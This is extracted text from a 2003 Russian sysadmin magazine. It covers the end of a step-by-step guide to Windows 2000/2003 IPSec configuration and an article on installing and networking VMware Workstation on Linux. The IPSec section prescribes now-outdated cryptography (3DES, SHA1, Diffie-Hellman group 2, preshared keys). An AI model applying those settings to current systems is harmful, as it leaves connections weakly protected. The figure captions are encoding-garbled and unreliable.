Удостоверьтесь, что флажок Изменить свойства (Editproperties) установлен, и щелкните <Готово> (Finish)(см. рис.9).

При этом создание новой политики заканчивается иоткрывается окно Свойства (Rules) (см. рис.10).

Редактирование свойствполитики безопасности IPОтмените установку флажка Использовать мастер (UseAdd Wisard) (см. рис.10) и щелкните <Добавить> (Add).

При этом открывается окно Свойства: Новое правило (NewRule Properties) (см. рис.11).

Создание нового правила

Создание нового фильтраНа закладке Список фильтров IP (IP Filter List) щелкните<Добавить> (Add), при этом открывается окно Списокфильтров IP (IP Filter List).

Введите любое имя фильтра и, если это необходи-мо, его описание (см. рис.12). Отмените флажок Ис-пользовать мастер (Use Add Wizard) и щелкните <До-бавить> (Add). При этом открывается окно Свойства:Фильтр (Filter Properies).

Ðèñóíîê 9. Îêíî çàâåðøåíèÿ íàçíà÷åíèÿ íîâîé ïîëèòèêèIP-áåçîïàñíîñòè.

Ðèñóíîê 10. Îêíî ïðàâèë äëÿ âíîâü ñîçäàííîé ïîëèòèêè.

Ðèñóíîê 11. Îêíî ñîçäàíèÿ íîâîãî ïðàâèëà.

Ðèñóíîê 12. Îïðåäåëåíèå íàçâàíèÿ ôèëüòðà IP.

Page 60: 007 Системный Администратор 06 2003

58

администрирование

Выберите закладку Адресация (Addressing) (см. рис.13)и установите следующие параметры:� Адрес источника пакетов (Source address) → Опреде-

ленный IP-адрес (A specific IP Address);� IP-адрес → IP-адрес вашего компьютера;

� Адрес назначения пакетов (Destination address) → Оп-ределенный IP-адрес (A specific IP Address);� IP-адрес → адрес компьютера, с которым устанав-

ливается защищенное соединение;� Проверить установку флажка Отраженный (Mirrored).

Выберите закладку Протокол (Protocol) и установитеТип протокола (Select a protocol type) – Любой (Any)(см. рис.14).

Заполнение поля Описание (Description) в закладкеОписание (Description) не обязательно.

Закончите описание свойств фильтра, щелкнув <OK>в окне Свойства: Фильтр (Filter Properties).

Щелкните <Закрыть> (OK) в окне Список фильтров IP(IP Filter List).

На закладке Список фильтров IP (IP Filter List) в окнеСвойства: Новое правило (New Rule Properties) поставь-те точку в строке, отображающей только что создан-ный новый фильтр.

Создание нового действияВыберите закладку Действие фильтра (Filter Action) в окнеСвойства: Новое правило (New Rule Properties).

Отмените установку флажка Использовать мастер(Use Add Wizard) и щелкните <Добавить> (Add). При этомоткрывается окно Свойства: Создание действия фильтра(New Filter Action Properties).

На закладке Методы безопасности (Security Methods)(см. рис.16) выберите пункт Согласовать безопасность(Negotiate security) и щелкните <Добавить> (Add), приэтом открывается окно Создать метод безопасности (NewSecurity Method) (см. рис.17).

Выберите пункт Настраиваемая безопасность(Custom) и щелкните <Параметры...> (Settings...). Приэтом открывается окно Параметры особого метода безо-пасности (Custom Security Settings), в котором необходи-мо установить значения, как показано на риc. 18.

Щелкните <OK> в этом окне и окне Создать методбезопасности (New Security Method).

Ðèñóíîê 13. Íàçíà÷åíèå àäðåñîâ è èñòî÷íèêà IP-ïàêåòîâ äëÿ ôèëüòðà.

Ðèñóíîê 14. Âûáîð òèïà ïðîòîêîëà, êîòîðûé äîëæåí îáðàáàòûâàòüñÿ ôèëüòðîì.

Ðèñóíîê 15. Çàêëàäêà óïðàâëåíèÿ ìåòîäàìè áåçîïàñíîñòè.

Page 61: 007 Системный Администратор 06 2003

59№6(7), июнь 2003

администрирование

В окне Свойства: Создание действия фильтра (см. рис.16)убедитесь в том, что флажок установлен только на пун-кте Принимать небезопасную связь, но отвечать с по-мощью IPSec (Accept unsecured communication, butalways respond using IPSec). На закладке Общие(General) заполните имя и, если это необходимо, опи-сание.

Щелкните <OK>.На закладке Действие фильтра (Filter Action) в окне

Свойства: Новое правило (New Rule Properties) (см. рис.15)

поставьте точку в строке, отображающей только что со-зданное новое действие фильтра.

Установка параметров туннеля и типа подключенияВыберите закладку Параметры туннеля (Tunnel Setting)в окне Свойства: Новое правило (New Rule Properties)и cохраните заданную по умолчанию настройку Прави-ло не определяет туннель (This rule does not specifya tunnel) (см. рис.19).

Выберите закладку Тип подключения (Connection Type)в окне Свойства: Новое правило (New Rule Properties)

Ðèñóíîê 16. Îïðåäåëåíèå ìåòîäîâ áåçîïàñíîñòè, èñïîëüçóåìûõ äëÿ ôèëüòðà.

Ðèñóíîê 17. Ñîçäàíèå ìåòîäà áåçîïàñíîñòè.

Ðèñóíîê 18. Îïðåäåëåíèå êðèïòîãðàôè÷åñêèõ íàñòðîåê IPSec-ïðîòîêîëà.

Ðèñóíîê 19. Âûáîð èñïîëüçîâàíèÿ òóííåëèðîâàíèÿ ïðè ñîåäèíåíèè.

Page 62: 007 Системный Администратор 06 2003

60

администрирование

(рис. 20). Вы можете выбрать пункт Все сетевые под-ключения (All network connections), но лучше, если выуверены, выберите конкретный тип: либо Локальное се-тевое подключение (Local area network (LAN)), либо Уда-ленный доступ (Remote access).

Установка метода проверки подлинностиВыберите закладку Методы проверки подлинности (Authen-tication Methods) в окне Свойства: Новое правило (New RuleProperties) (см. рис. 21). По умолчанию Kerberos устанав-ливается в качестве метода проверки подлинности.

Щелкните <Добавить> (Add), при этом откроется окноСвойства: Изменить способ проверки подлинности (NewAuthentication Method Properties) (см. рис. 22).

Выберите пункт Использовать данную строку для за-щиты обмена ключами (Use this string to protect the keyexchange (preshared key)) и внесите в окно пароль, кото-рый будет использоваться для установления защищеннойсвязи между компьютерами.

Щелкните <OK>.Удалите из списка методов все, кроме созданного вами.Щелкните в окне Свойства: Новое правило (New Rule

Properties) <ОК>.На этом создание нового правила закончено.Приведем некоторые пояснения для возможных мето-

дов установления доверительных отношений:Стандарт Windows 2000 Kerberos V5 (Windows 2000

default (Kerberos V5)) – протокол Kerberos задан по умол-чанию в Windows 2000, и если все участники находятся водном домене, это будет лучшим вариантом, посколькуоблегчает конфигурирование.

Использовать сертификат данного Центра серти-фикации (Use a certificate from this Certificate Authority(CA)) – безопасность, основанная на применении серти-фикатов. Можно использовать сертификаты для иници-ализации защищенного соединения. Они совместимы сомногими системами сертификации.

Использовать данную строку для защиты обменаключами (Use this string to protect the key exchange(preshared key)) – использование предварительно совме-стно используемых строк является наиболее нежелатель-

Ðèñóíîê 20. Îïðåäåëåíèå òèïà ïîäêëþ÷åíèÿ äëÿ ïðàâèëà.

Ðèñóíîê 21. Îïðåäåëåíèå ìåòîäîâ ïðîâåðêè ïîäëèííîñòè.

Ðèñóíîê 22. Çàäàíèå ìåòîäîâ ïðîâåðêè ïîäëèííîñòè äëÿ ôèëüòðà.

Page 63: 007 Системный Администратор 06 2003

61№6(7), июнь 2003

администрирование

ным методом обеспечения безопасности, если строкабудет сфальсифицирована, невозможно гарантироватьконфиденциальность. Однако подобный метод можно ис-пользовать в том случае, если поддерживаются внешниеоперационные системы или устройства.

Редактирование общих настроекполитики безопасности IPВыберите закладку Общие (General) в окне Свойства (NewIP Security Policy Properties) (рис. 23).

Поля Имя (Name) и Описание (Description) уже запол-нены на этапе создания политики безопасности.

Убедитесь, что в поле Проверять политику на нали-чие изменений каждые: (Check for policy change every:)записано значение 180 мин. и щелкните кнопку <Допол-нительно...> (Advanced...). При этом открывается окно Па-раметры обмена ключами (Key Exchange Settings).

Установите параметры, как показано на рисунке ниже(см. рис. 24), и щелкните <Методы…> (Methods...).

При этом откроется окно Методы безопасности приобмене ключами (Key Exchange Security Methods), в кото-ром нужно удалить все строки (см. рис. 25), кроме однойс параметрами:� Тип (Type) – IKE;� Шифрование (Encryption) – 3DES;� Целостность (Integrity) – SHA1;� Группа Диффи-Хелмана (Diffie-Hellman ...) – Средняя (2).

ЗаключениеВ статье описаны основополагающие моменты, связанныес настройкой IPSec-соединения между двумя компьютера-ми на базе операционных систем Windows 2000, 2003. Даль-нейшими путями расширения реализации IPSec могут быть:� Использование возможностей работы с IPSec под уп-

равлением домена.� Развертывание инфраструктуры открытых ключей

(public key infrastructure – PKI).

Эти действия повлекут изменения в методах провер-ки подлинности и повысят уровень безопасности при ус-тановлении сеансов защищенных соединений.

Отметим, что IPSec предполагает два варианта сете-вого соединения: транспортный и туннельный.

При транспортном – заголовок IP-пакета (в том числеи IP-адрес) не изменяются. Заголовок IPSec вставляетсямежду заголовком IP и остальными заголовками или, со-ответственно, данными. При таком способе передачи из-менения затрагивают только транспортный уровень па-кета IP, а собственно данные пакета смогут быть аутен-тифицированы и/или зашифрованы.

При туннельном варианте изменяется весь пакет IP.Защита распространяется на заголовок IP и данные, при-чем вместо исходного создается новый заголовок IP сдругими IP-адресами.

В данной статье описывается наиболее простой –транспортный вариант использования IPSec.

Ðèñóíîê 23. Îêíî îáùèõ ñâîéñòâ ïîëèòèêè áåçîïàñíîñòè IP.

Ðèñóíîê 24. Îêíî ïàðàìåòðîâ îáìåíà êëþ÷àìè.

Ðèñóíîê 25. Îêíî óïðàâëåíèÿ ìåòîäàìè áåçîïàñíîñòè ïðè îáìåíå êëþ÷àìè.

Page 64: 007 Системный Администратор 06 2003

62

администрирование

Для случая, если защищенный трафик должен про-ходить через сервер NAT (Network Address Translation),который производит замену IP-адресации, то необходи-мо отказаться от использования протокола AH и задей-ствовать только протокол ESP.

Дальнейшим усилением VPN может быть использованиеLayer Two Tunneling Protocol (L2TP) – протокола туннелиро-вания второго уровня. В данном случае настройки предпо-лагаются более сложные по схеме защищенной связи:

При установлении сеанса L2TP происходят следующиедействия:� Если клиент связывается с туннельным сервером VPN,

используя тип подключения, определенный как L2TP,клиент автоматически создает политику IPSec, еслиона еще не установлена для данного клиента.

� Если политика IPSec уже создана, протокол L2TP простовнедряет правило безопасности, которое защищает весьтрафик. При этом используются настройки безопаснос-ти, которые определены с помощью имеющейся полити-ки. Если для системы не установлены политики IPSec,протокол L2TP создает собственное правило безопас-ности IPSec. В этом случае IPSec фильтрует трафик иприводит к установке соглашения по обмену ключей.

� Устанавливается туннельное соглашение L2TP, вслед-ствие чего IPSec защищает трафик туннельного конт-роля, а также данные, передаваемые с помощью этоготуннеля. С помощью идентификатора и пароля пользо-вателя протокол L2TP производит аутентификацию сер-вера VPN. При использовании смарт-карты производит-ся аутентификация на основе сертификата.

В печати недавно появилась информация о том, что вСША под эгидой АНБ ведутся работы по развитию прото-кола IPSec High-Assurance Internet Protocol Encryption(HAIPE). HAIPE позволяет выполнять обмен ключами меж-ду системами, применяющими разные алгоритмы шиф-рования. Как отмечают специалисты, цель разработкиHAIPE – обеспечение возможности обмена алгоритмамишифрования между различными программными и аппа-ратными криптосистемами.

ГлоссарийКриптография – область защиты информации, в кото-

рой рассматриваются вопросы создания алгоритмов шиф-рования, электронной цифровой подписи, хэширования,выработки имито-вставки и т. п. с целью обеспечения га-рантий секретности и/или достоверности сообщений.

Функция хэширования – действие функции хэширо-вания заключается в сопоставлении произвольного на-бора данных в виде последовательности двоичных сим-волов и его образа фиксированной небольшой длины, чтопозволяет использовать эту функцию в процедурах элек-тронной цифровой подписи для сокращения времени под-писи и проверки подписи. Эффект сокращения временидостигается за счет вычисления подписи только под об-разцом подписываемого набора данных.

Pretty Good Privacy (PGP) – дословный перевод «До-вольно хорошая секретность». Пакет программ, первона-чально разработанный Филлипом Циммерманом (PhillipZimmerman), представляющий собой систему шифрова-ния с открытым ключом. Ее последняя версия основанана запатентованной технологии RSA.

Virtual Private Network (VPN) – виртуальная частнаясеть представляет собой туннель поверх общедоступнойсетевой инфраструктуры, такой как Интернет. VPN – за-щищенное сетевое соединение, при котором туннелиру-ется зашифрованный сетевой трафик.

Kerberos – протокол безопасной аутентификациипромышленного стандарта, подходящий для распреде-лённых вычислений через общедоступные сети. Описанв RFC1510 (1993 год). Протокол аутентификации реали-зован в Windows 2000. У Kerberos несколько преимуществ,наиболее важное из которых, вероятно, возможность пе-репоручать аутентификацию другим компьютерам, такжеподдерживающим Kerberos, даже тем, которые работаютпод управлением других операционных систем. Это об-легчает наращивание веб-сайта с использованием раз-ных машин веб-серверов и серверов базы данных. Пре-дыдущие решения, такие как реализация всех служб наодной машине, выполнение всех клиентских запросов ведином контексте защиты или жесткое программирова-ние передачи функций защиты в файлах скриптов, не спо-собствовали усилению архитектуры защиты.

IPSec – протокол безопасности, предоставляющий воз-можность для организации защищенного соединения(VPN). Описан RFC2401 (1998 год). Представляет собойнабор связанных протоколов. IPSec образован тремя ос-новными компонентами:� Протокол обмена ключами Интернет (Internet Key

Exchange, IKE);� Заголовок аутентификации (Authentication Header, AH);� Безопасное вложение IP-пакетов (Encapsulating Security

Payload, ESP).

Encapsulating Security Payload (ESP) – протокол ин-капсулированной защиты IP. Вместе с протоколом AH яв-ляются криптографической основой протокола IPSec. Про-токол ESP предназначен для проверки аутентичности ицелостности пакетов, обеспечения конфиденциальностиданных с помощью выполнения процедур шифрования.Описан в RFC2406 (1998 год).

Authentication Header (АН) – протокол заголовкааутентификации IP. Вместе с протоколом ESP являютсяосновой протокола IPSec. Предназначен для проверкиаутентичности и целостности пакетов. Описан в RFC2402(1998 год).

Data Encryption Standard (DES) – алгоритм шифрова-ния. Работает с 56-битным ключом, обрабатывает 64-бит-ный блочный текст. Разработан IBM и Агентством нацио-нальной безопасности США. Стандарт закреплен в ANSIX3.106, «American National Standard for Information Systems-Data Link Encryption» в 1983 году.

Triple Data Encryption Standard (3DES) – усложнен-ный алгоритм на основе DES. Тройное использование DESи трехкратное усиление ключевой системы.

êëèåíò<->ñåðâåð <-> ñåðâåð<->êëèåíò

Page 65: 007 Системный Администратор 06 2003

63№6(7), июнь 2003

администрирование

Secure Hash Algorithm (SHA1) – функция хэширова-ния. Алгоритм определен в 1994 году FIPS PUB 180-1. Ре-зультатом обработки является 20-байтовая (160-битовая)величина.

MD5 (Message Digest 5) – функции хэширования. Ал-горитм определен в 1992 году RFC1321. Результатом об-работки является 16-байтовая величина.

Ссылки1. Security Architecture for the Internet Protocol. RFC2401

November 1998. http://www.rfc-editor.org/cgi-bin/rfcdoc-type.pl?loc=RFC&letsgo=2401&type=ftp&file_format=txt.

2. IP Authentication Header. RFC2402 November 1998.<http://www.rfc-editor.org/cgi-bin/rfcdoctype.pl?loc=RFC&letsgo=2402&type=ftp&file_format=txt>.

3. IP Encapsulating Security Payload (ESP). RFC2406November 1998. <http://www.rfc-editor.org/cgi-bin/rfcdoctype.pl?loc=RFC&letsgo=2406&type=ftp&file_format=txt>.

4. Проектирование виртуальных частных сетей в средеWindows 2000. Тадеуш Фортенбери, Издательский дом«Вильямс», 2002 год.

5. Новые технологии и оборудование IP-сетей. В.Олифер,Н.Олифер, BHV – Санкт – Петербург; Серия: Мастер(“BHV“), 2000 год.

6. Поддержка протокола безопасности IP в Microsoft

Windows 2000 Server. Информационный документMicrosoft. <http://www.networkdoc.ru/files/insop/win2000/w2k_ipsecurity.doc>.

7. Аутентификация по протоколу Kerberos в Windows 2000.Информационный документ Microsoft. <http://www.net-workdoc.ru/files/insop/win2000/w2k_kerberos.doc>.

8. IPSec, NAT, брандмауэры и VPN. Альфред Брот.<http://www.osp.ru/lan/2003/01/024.htm>.

9. Улучшенный вариант IPSec.<http://www.osp.ru/nets/2003/04-05/000_15.htm>.

10.Развертывание сети VPN. Павел Покровский.<http://www.osp.ru/lan/2003/01/020.htm>.

11. IpSec соединение между FreeBSD и Windows 2000. Ста-нислав Лапшанский. <http://www.opennet.ru/base/net/bsd_win_vpn.txt.html>.

12.VPN-технологии защищенного обмена конфиденциаль-ной информацией. C.Петренко. <http://www.cinfo.ru/CI/CI_219_35/InfSecurity/VPN_219.htm>.

13.Безопасность в Windows XP. Камилл Ахметов.<http://bytemag.ru/Article.asp?ID=604>.

14.Глобальный доступ в частные сети. Ярослав Городец-кий, Алексей Клочков. <http://www.setevoi.ru/cgi-bin/textprint1.pl/magazines/2000/11/42>.

15.Отказоустойчивость, анализ и настройка безопаснос-ти и IPSec. Dan DiNicolo. <http://www.networkdoc.ru/trainers2000/print.html?win2000/article12.html>.

Page 66: 007 Системный Администратор 06 2003

64

администрирование

ВИРТУАЛЬНЫЙКОМПЬЮТЕР

ДЕНИС КОЛИСНИЧЕНКО

Page 67: 007 Системный Администратор 06 2003

65№6(7), июнь 2003

администрирование

В этой статье мы поговорим о лучшем, на мой взгляд,эмуляторе VM Ware.

Как и у любого пользователя, мигрировавшего наLinux, у меня осталось несколько программ в миреWindows. Кому же хочется несколько раз в день перезаг-ружать операционную систему (хотя, работая с Windows98, это неизбежно)? Поэтому я начал искать какой-нибудьэмулятор, который бы позволил, не выгружая Linux, за-пускать Windows-программы. От эмулятора много не тре-бовалось: только запуск Delphi и MS Office (разумеется,кроме запуска нужно, чтобы эти программы нормальноработали). Свой поиск я начал с установленного на моеймашине дистрибутива. Практически в любом дистрибу-тиве можно найти эмулятор wine. Но он оказался не толь-ко неудобным, но и вообще непригодным для использо-вания. В эмуляторе «со скрипом» работал Блокнот, а назапуск WinAMP ушла целая вечность, при этом последнийзаикался и картавил. Все попытки русифицировать тотже Блокнот не увенчались успехом. Сами понимаете, озапуске Delphi или MS Word вообще не может быть и речи.

Через некоторое время мне попался «под горячую руку»эмулятор wineX, но кроме как для запуска Windows-игрушек,он больше ни на что непригоден. Относительно него могусказать: да, игры запускались, но не все, а те, которые запу-стились, медленно работали. Было бы несправедливо с моейстороны забыть об эмуляторе Win4Lin. Это довольно доб-ротный эмулятор, позволяющий запускать самые популяр-ные Windows-программы, например, MS Office 2000/XP,Photoshop, Corel Draw. Стоит отметить высокую производи-тельность эмулятора по сравнению с другими продуктами.

Но у меня как-то не сложились отношения с Win4Lin.Почему-то он мне не понравился: может быть, повлияли не-которые ограничения третьей версии, которые были позжеустранены в новой, четвертой, версии, а может быть неболь-шие проблемы при установке. Но, наверное, самой весомойпричиной была месяц назад установленная вторая версияVM Ware. Сейчас уже появилась версия VMWare 3.2, в кото-рой устранены многие ограничения второй версии. Относи-тельно эмулятора Win4Lin могу сказать: очень хороший про-дукт, а то, что мне больше понравился VM Ware, являетсятолько моим субъективным мнением: о вкусах не спорят.Установите Win4Lin, может быть, он станет первым и един-ственным Windows-эмулятором на вашем компьютере.

Чем же хорош VM Ware? В самом начале статьи я на-писал, что VM Ware – это эмулятор Windows. Простите, явам соврал. VM Ware – это нечто большее, чем простоэмулятор форточек. Представьте себе некий виртуальныйкомпьютер, в который можно установить следующие опе-рационные системы:� Windows 95;� Windows 98/SE/ME;� Windows NT 4 Server/Workstation;� Windows 2000/XP;� FreeBSD;� Linux (да, даже Linux).

Именно эти операционные системы поддерживаетэмулятор VM Ware. В мире VM Ware есть два термина:основная (host) и гостевая (guest) операционныe сис-

темы. Перечисленные выше операционные системы яв-ляются гостевыми, то есть их можно установить в VMWare, работающий под управлением основной опера-ционной системы. В качестве основной операционнойсистемы могут выступать операционные системы Linuxи Windows NT/2000.

Эмулятор позволяет одновременно запускать две ОС –одна будет выполняться на нормальном компьютере, авторая – в виртуальном, в среде VM Ware. Например, ра-ботая в Linux, вы можете запустить операционную систе-му Windows в эмуляторе как обыкновенное приложение,и переключаться между операционными системами какмежду обыкновенными окнами.

Я тестировал следующие гостевые операционныесистемы:� Windows 95/98;� Windows NT 4 Server;� Linux.

Что мне понравилось – так это надежность. Ни разу завесь период эксплуатации Windows 98 у меня не завис. Авиртуальный Linux работал в качестве шлюза и отличносправлялся с поставленной задачей.

Что не понравилось – скорость работы, особенно опе-рационной системы Windows NT Server. При работе сWindows 95/98 мой виртуальный компьютер работал соскоростью неплохого Intel Pentium 166 Mhz 32MB RAM, хотяVM Ware создал такую виртуальную конфигурацию: IntelCeleron 400 Mhz 64 MB RAM.

Работая под Windows 95/98, меня вполне устроила про-изводительность приложений:� Delphi 3 Client/Server Suite;� MS Office 97/2000;� WinAMP;� The Bat!

Кроме этих приложений я запускал Corel Draw и 1С: Пред-приятие, но ничего конкретного сказать об их работе немогу, поскольку запустить-то я их запустил, но большене работал с ними. Вообще в эмуляторе запускаются инормально работают все офисные приложения, то естьте приложения, которые не требуют функций DirectX.Относительно игрушек могу сказать лишь одно: уста-новите нормальную версию Windows 98 только для игр,игра в эмуляторе (в любом) вам не доставит никакогоудовольствия.

Для чего нужна VM Ware, вы уже поняли. Кроме того,VM Ware – это настоящая находка для разработчика про-граммного обеспечения и системного администратора.Первый может разрабатывать приложение, работая вWindows 2000, а потом без перезагрузки сразу же проте-стировать его работу в Windows 98. Системный админис-тратор может протестировать настройки своего сервера,запустив виртуальный компьютер-клиент. Специально дляэтого виртуальный компьютер может работать в одномиз трех основных режимах доступа к сети:� Без сети;� Host-only networking;� Bridged networking.

Page 68: 007 Системный Администратор 06 2003

66

администрирование

Существует еще и комбинированный метод доступа ксети – Bridged and Host-only Networking, который сочетаетсразу два метода доступа к сети – второй и третий.

Первый режим нас вообще не интересует и не будетрассмотрен.

Если вы выбрали второй режим, Host-only networking,то ваш виртуальный компьютер будет виден только во внут-ренней сети VM Ware, созданной с помощью модуля vmnet.Этот режим нужно выбрать, если вы не подключаетесь клокальной сети: тогда в виртуальной сети будут два ком-пьютера – настоящий и из мира Матрицы. Если вы выбе-рете этот режим и подключитесь к локальной сети, то вашвиртуальный компьютер будет видеть все узлы локальнойсети, но ни один узел сети не будет видеть его – будет ви-ден только ваш реальный компьютер. Шлюзом для вирту-ального компьютера будет выступать настоящий.

В третьем режиме ваш виртуальный компьютер будетвидеть все узлы, и все узлы будут видеть его и думать,что он является реальным узлом. Тогда виртуальному ком-пьютеру потребуется присвоить имя, которое желатель-но прописать в DNS-сети. Этот режим является оптималь-ным при работе в сети.

Прежде чем перейти к установке и настройке, нужносказать о системных требованиях эмулятора. Для болееили менее комфортной работы с гостевой операционнойсистемой вам потребуются:� Процессор с частотой не менее 400 Mhz (чем больше,

тем лучше).� Не менее 64 Мб оперативной памяти (я вообще реко-

мендую установить 128 Мб).� Свободное место на винчестере для гостевой опера-

ционной системы и для самого эмулятора (занимаетдовольно немного места).

� $300.

С первыми тремя требованиями ваш компьютер, несомневаюсь, справится. А вот как насчет последнего?Именно столько стоит лицензия на VM Ware.

Вот теперь можно приступить к настройке эмулятора.Заходим на сайт www.vmware.com и загружаем пакетVMware-workstation-3.2.0-2230.i386.rpm. Версия 3.2 являетсясамой новой на момент написания этих строк. Она зани-мает около 12 Мб, для ее работы нужно ядро 2.4.*, если,конечно, вы работаете под Linux. Вы можете загрузить вто-рую версию эмулятора – она весит около 6 Мб, но для ееработы необходимо ядро 2.2.*. Кстати, вариант VM Ware 2+ ядро 2.2 является оптимальным для не очень быстроймашины, например, Intel Celeron < 400 Mhz и 64 Мб ОЗУ.

Можно также загрузить откомпилированные модулидля вашего ядра, но я не рекомендую этого делать. Луч-ше перекомпилировать модули под ваше ядро. Для этоговам потребуются установленные исходные тексты ядра инормально работающий компилятор gcc.

После загрузки программы необходимо зарегистриро-ваться и получить лицензию. Для версии 2.0 – это файлlicense_XXXXXX_XXX, который нужно поместить в ката-лог ~/.vmware, а для версии 3.0 – это ключ, который надоввести по просьбе программы. Письмо с файлом лицен-зии или ключом придет на ваш почтовый ящик.

Установите VM Ware командой:

После установки VM Ware запустите программуvmware-config.pl. Обе эти команды нужно вводить, заре-гистрировавшись как пользователь root. Скрипт vmware-config.pl предложит вам откомпилировать модули. Еслиже нужные модули будут найдены в каталоге /usr/lib/vmware/modules/binary, они будут скопированы в каталог/lib/modules.

Просто нажмите Enter в знак вашего согласия. Затемскрипт спросит вас, где хранятся файлы заголовков. Поумолчанию используется каталог /usr/src/linux/include.

Здесь также нажмите Enter. После этого программапопытается собрать модуль vmnet. Если модуль будет ус-пешно откомпилирован, программа повторит первые двавопроса, но для модуля vmppuser.

Затем вам будет задан ряд вопросов, например, хоти-те ли включить поддержку сети. Самый первый вопросбудет звучать так:

Если вы хотите включить поддержку сети (очень реко-мендую!), вам нужно ответить yes на этот вопрос. Послеэтого вы увидите два сообщения: из первого мы узнаем,что конфигуратор создал интерфейс vmnet0 для работыв режиме Bridged Networking, а из второго – что был со-здан интерфейс vmnet8 для работы в режиме NAT.

Затем вам будет предложено использовать неисполь-зуемую сеть для виртуального компьютера. Откажитесьот этой возможности, ведь мы же хотим поместить его внашу реальную сеть.

После этого введите IP-адрес виртуального компью-тера и маску сети:

Ðèñ. 1. Ðåãèñòðàöèÿ ýìóëÿòîðà.

rpm –ihv VMware-workstation-3.2.0-2230.i386.rpm

Page 69: 007 Системный Администратор 06 2003

67№6(7), июнь 2003

администрирование

Не нужно использовать первый IP-адрес (например,192.168.1.1), поскольку он будет назначен основному ком-пьютеру. После этого вас спросят, хотите ли вы включитьподдержку Host-only networking.

Если ваша машина не подключена к локальной сети,Host-only networking – это единственный способ связимежду вашими машинами, поэтому не стоит отказывать-ся от него. В случае положительного ответа, конфигура-тор настроит интерфейс vmnet1 для работы в режиме Host-only networking.

Следующий вопрос:

Если вы ответите да, будут установлены сервер DHCPи пакет Samba для организации доступа виртуальныхмашин к вашей файловой системе. В качестве сервераSamba будет использоваться ваш основной компьютер –192.168.1.1. В случае если на вашем компьютере уже ус-тановлен и настроен пакет Samba, не рекомендуется от-вечать «Да» на этот вопрос.

Вам также будет задан вопрос о средстве выбора ре-жима работы сети виртуальной машины: wizard или editor.Пока введите wizard, а позже, когда узнаете, о чем шларечь, сможете переконфигурировать VM Ware (или про-чтите всю статью до конца).

Затем вам будет предложено прочесть лицензию наDHCP-сервер и установить параметры VM Ware Samba. Вкачестве имени пользователя введите имя, под которым выобычно регистрируетесь в системе, пароль введите тот же:

Вы можете добавить несколько пользователей сразу.

Теперь ваш VM Ware готов к работе. Далее нам пред-стоит сконфигурировать виртуальную машину. Запусти-те систему X-Window, если она у вас еще не запущена, ивведите команду vmware в окне терминала. Эмулятор про-верит видеорежим и отобразит на экране окошко выбора

конфигурации VM Ware – виртуальной машины. Правда,это окошко вы увидите только после ввода серийного но-мера. Вам доступны три режима продолжения работы:� Run Configuration Wizard� Run Configuration Editor� Open an Existing Configuration

Мастер конфигурации (Configuration Wizard) позволя-ет быстро создать новую конфигурацию – через пару щел-чков мыши у вас будет еще один компьютер, правда, вир-туальный. Редактор конфигурации (Configuration Editor)позволяет более точно настроить вашу конфигурацию.

Выбрав третий режим, вы можете открыть существу-ющую конфигурацию, но пока нам открывать нечего.

Запускаем Мастера и следуем его указаниям. Мастерпредложит вам:� Выбрать тип гостевой операционной системы.� Выбрать каталог, в котором будут находиться файлы

виртуальной машины. Чтобы было меньше проблем справами доступа, укажите подкаталог вашего домаш-него каталога. Естественно, если вы – root, то вам мож-но использовать любой каталог, хоть /var.

� Выбрать тип жесткого диска и установить его размер.� Выбор привода CDROM виртуального компьютера.� Выбор режима доступа к сети – Host-only networking

или Bridged networking. Это окно появится только в томслучае, если вы при настройке VM Ware с помощьюvmware-config ввели wizard в ответ на вопрос о сред-стве конфигурации режима сети. Если вы при настрой-ке выбрали editor, вы сможете изменить тип виртуаль-ной машины с помощью Редактора конфигурации.

Будто бы ничего сложного, но мы подробнее остано-вимся на выборе диска и устройства CDROM. Вы можетевыбрать виртуальный диск (New Virtual Drive) или исполь-зовать существующий физический диск машины (Existing

Ðèñ. 2. Âûáîð âèðòóàëüíîé ìàøèíû.

Ðèñ. 3. Âûáîð ÎÑ äëÿ âèðòóàëüíîãî êîìïüþòåðà.

Page 70: 007 Системный Администратор 06 2003

68

администрирование

Physical Disk). В первом случае в каталог, который вы вве-ли на втором шаге Мастера, будет помещен файл с рас-ширением .dsk и именем вашей виртуальной машины. Ис-пользование виртуального диска – это самое оптимальноерешение. Использовать реальный диск очень не рекомен-дую, так как файлы гостевой системы будут расположеныпрямо в каталогах вашей основной операционной систе-мы. С одной стороны, это удобно, так как можно получитьдоступ к файлам виртуальной машины без ее запуска, нолучше не рисковать и использовать виртуальный диск – вкрайнем случае, если что-то случится с виртуальным дис-ком, файлы физического диска не будут повреждены.

Когда вам будет предложено ввести размер жесткогодиска, не изменяйте максимальное значение: VM Wareсоздаст файл размером 3k, который будет расти по меренеобходимости. А вот если вы укажите точный размердиска, например, 1024 Mb, у вас на диске появится файлразмером в 1 Gb. В версии 2.0 существовало ограниче-ние на максимальный размер диска – 2000 Mb. В болеепоздних версиях (3.0, 3.2) это ограничение снято.

Ðèñ. 4. Çàïóñê âèðòóàëüíîé ìàøèíû.

При выборе CDROM вам нужно ввести имя устройства,например, /dev/cdrom или /dev/hdd, если CDROM подклю-чен как Secondary Slave. Включите режим Start withCDROM connected, если хотите, чтобы CDROM был дос-тупен при запуске виртуальной машины.

Все! Вот теперь вы можете нажимать кнопку Power Onи устанавливать Windows. Перед установкой желательнозапустить Редактор конфигурации и изменить некоторыепараметры на свой вкус. Помните, что для работы каких-либо устройств в виртуальной машине нужно, чтобы Linuxподдерживал эти устройства, поэтому не удивляйтесь,если в виртуальной машине не будет работать вашWindows-модем, который вы так и не смогли заставитьработать в Linux.

При установке Windows выберите тип видеоадаптераVGA 640x480x16. Затем, после установки, выполните ко-манду меню VM Ware Settings, VM Ware Tools Install. Пос-ле этого на вашем виртуальном дисководе появится вир-туальная дискета, на которой как раз и будет драйвер длявидеоплаты. Отройте «Ваш Компьютер» и запустите про-грамму VMWare Tools с вашей виртуальной дискеты. Те-перь запустите панель управления Windows и изменитедрайвер видеоплаты. При выборе драйвера выберите ус-тановку с диска и введите A:\WIN9X.

Если вы выбрали Host-only networking, то при настрой-ке сети те параметры, которые вы ввели при настройкеэтого режима с помощью скрипта vmware-config.pl. Напри-мер, если вы ввели сеть 192.168.1.0, но именно эту сетьвам нужно указать в параметрах TCP/IP (ее маска255.255.255.0). Шлюзом по умолчанию для вас будет ком-пьютер 192.168.1.1 – это ваша реальная операционнаясистема, а виртуальный компьютер получит адрес192.168.1.2.

Вот теперь уж действительно «все» и вы можете пре-спокойно работать в Windows, который запущен в окош-ке KDE (или другого менеджера).

